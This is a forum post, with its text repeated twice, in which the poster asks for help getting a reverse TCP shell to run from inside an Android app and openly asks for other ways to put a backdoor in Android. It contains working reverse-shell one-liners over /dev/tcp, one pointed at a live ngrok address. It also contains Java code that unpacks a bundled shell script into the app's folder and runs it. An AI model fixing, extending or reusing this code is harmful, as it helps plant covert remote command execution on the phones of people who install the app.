Hello guys,
I rarely post in a forum, but this time I am forced to do it... the problem is weird...
I am developing an app for android and now I need to make a reverse tcp connection through a bash or sh code, or otherwise, execute a bash script saved in some .sh file in file system.
The problem is that I am not able to execute the line that makes the connection,
Is it possible?
-Yes, of course!... If not, then how in Termux can you run "bash script.sh or sh script.sh"?
Does my reverse tcp connection script.sh work?
-Yes, it works. I tested it on Termux(same device on which I test the apk), and also on windows works.
The problem is that I can not run it from the apk, it gets stuck in the part of making the reverse connection.
[ ¡ ALL SCRIPTS.SH WORKING IN WINDOWS AND TERMUX ! ]
SCRIPT_1.SH
#!/bin/bash or #!/system/bin/sh in android
exec -c 5<>/dev/tcp/ip/port && cat <&5 | while read line; do $line 2>&5 >&5; done
SCRIPT_2.SH
bash -c bash${IFS}-i${IFS}>&/dev/tcp/IP/PORT<&1
Function to execute command and get output in Android Apk (Java)
Next I show you how to do it...
I show you the part of the code that tries to execute a script that performs the reverse connection, and also apart try to execute a .sh file from downloads folder:
1-Execute bash commands direct from Java
2-Create script in the app folder, give it permissions, and execute it.
The executeCommandAndGetOutput() shows "111111111" but not show "22222222", so seems like get stucked when try connect.
3-Execute a script saved in the download folder
4-Also i tried to execute a bash command direct from java but this way "bash someCmmand" and i get an error "No permission"
I use Android Studio / Java
The .sh script itself works since from termux or windows I can run it normally.
Has anyone ever made a reverse tcp connection from a .sh file from an apk? Have any idea why is not working?
Or there is other way to do make a backdoor in android?
I rarely post in a forum, but this time I am forced to do it... the problem is weird...
I am developing an app for android and now I need to make a reverse tcp connection through a bash or sh code, or otherwise, execute a bash script saved in some .sh file in file system.
The problem is that I am not able to execute the line that makes the connection,
Is it possible?
-Yes, of course!... If not, then how in Termux can you run "bash script.sh or sh script.sh"?
Does my reverse tcp connection script.sh work?
-Yes, it works. I tested it on Termux(same device on which I test the apk), and also on windows works.
The problem is that I can not run it from the apk, it gets stuck in the part of making the reverse connection.
[ ¡ ALL SCRIPTS.SH WORKING IN WINDOWS AND TERMUX ! ]
SCRIPT_1.SH
#!/bin/bash or #!/system/bin/sh in android
exec -c 5<>/dev/tcp/ip/port && cat <&5 | while read line; do $line 2>&5 >&5; done
SCRIPT_2.SH
bash -c bash${IFS}-i${IFS}>&/dev/tcp/IP/PORT<&1
Function to execute command and get output in Android Apk (Java)
Java:
public void executeCommandAndGetOutput(String command,String[] cmd)
{
BufferedReader reader = null;
String result = "";
try {
Process p;
if(command.equals(""))
p = Runtime.getRuntime().exec(cmd);
else
p = Runtime.getRuntime().exec(command);
reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) { result += line + "\n"; }
p.waitFor();
} catch (Exception e) {
e.printStackTrace();
} finally {
Log.i("result:: ",result);
TextView text = (TextView)findViewById(R.id.textView1);
String str = text.getText() + "\n" + result;
text.setText( str );
if (reader != null)
try {
reader.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}Next I show you how to do it...
I show you the part of the code that tries to execute a script that performs the reverse connection, and also apart try to execute a .sh file from downloads folder:
1-Execute bash commands direct from Java
Java:
// Not Working
String[] cmd = {
"/system/bin/sh",
"-c",
"exec 5<>/dev/tcp/4.tcp.ngrok.io/17852 && cat <&5 | while read line; do $line 2>&5 >&5; done"
// "bash${IFS}-i${IFS}>&/dev/tcp/4.tcp.ngrok.io/17852<&1"
};
executeCommandAndGetOutput("",cmd);
// BUT, if I do this, i get "9191919191" in the output so command it's executing but not make the connection
String[] cmd = {
"/system/bin/sh",
"-c",
"echo 9191919191 && exec 5<>/dev/tcp/4.tcp.ngrok.io/17852 && cat <&5 | while read line; do $line 2>&5 >&5; done"
};
executeCommandAndGetOutput("" ,cmd);2-Create script in the app folder, give it permissions, and execute it.
Java:
private boolean unpackScript(String path)
{
InputStream in = getResources().openRawResource(R.raw.script);
FileOutputStream out = null;
try {
out = new FileOutputStream(path);
byte[] buff = new byte[1024];
int read = 0;
while ((read = in.read(buff)) > 0) { out.write(buff, 0, read); }
}
catch(Exception e){
e.printStackTrace();
}finally {
try {
in.close(); out.close();return true;
} catch (Exception e) {
e.printStackTrace();
}
}
return false;
}
String pathToScript = getDir("my_scripts", 0).getAbsolutePath() + File.separator + "script.sh";
// Unpack script to local filesystem
boolean unpacked = unpackScript(pathToScript);
if(unpacked){
executeCommandAndGetOutput("chmod 775 " + pathToScript);
executeCommandAndGetOutput("sh " + pathToScript);
}
/*
This is the code of the script.sh: (working from termux and windows)
#!/system/bin/sh
echo 111111111
exec 5<>/dev/tcp/ip/port
echo 22222222
cat <&5 | while read line; do $line 2>&5 >&5; done
*/The executeCommandAndGetOutput() shows "111111111" but not show "22222222", so seems like get stucked when try connect.
3-Execute a script saved in the download folder
Java:
String pathToScript = "/storage/emulated/0/Download/script.sh"
executeCommandAndGetOutput("chmod 775 " + pathToScript);
executeCommandAndGetOutput("sh " + pathToScript);4-Also i tried to execute a bash command direct from java but this way "bash someCmmand" and i get an error "No permission"
I use Android Studio / Java
The .sh script itself works since from termux or windows I can run it normally.
Has anyone ever made a reverse tcp connection from a .sh file from an apk? Have any idea why is not working?
Or there is other way to do make a backdoor in android?
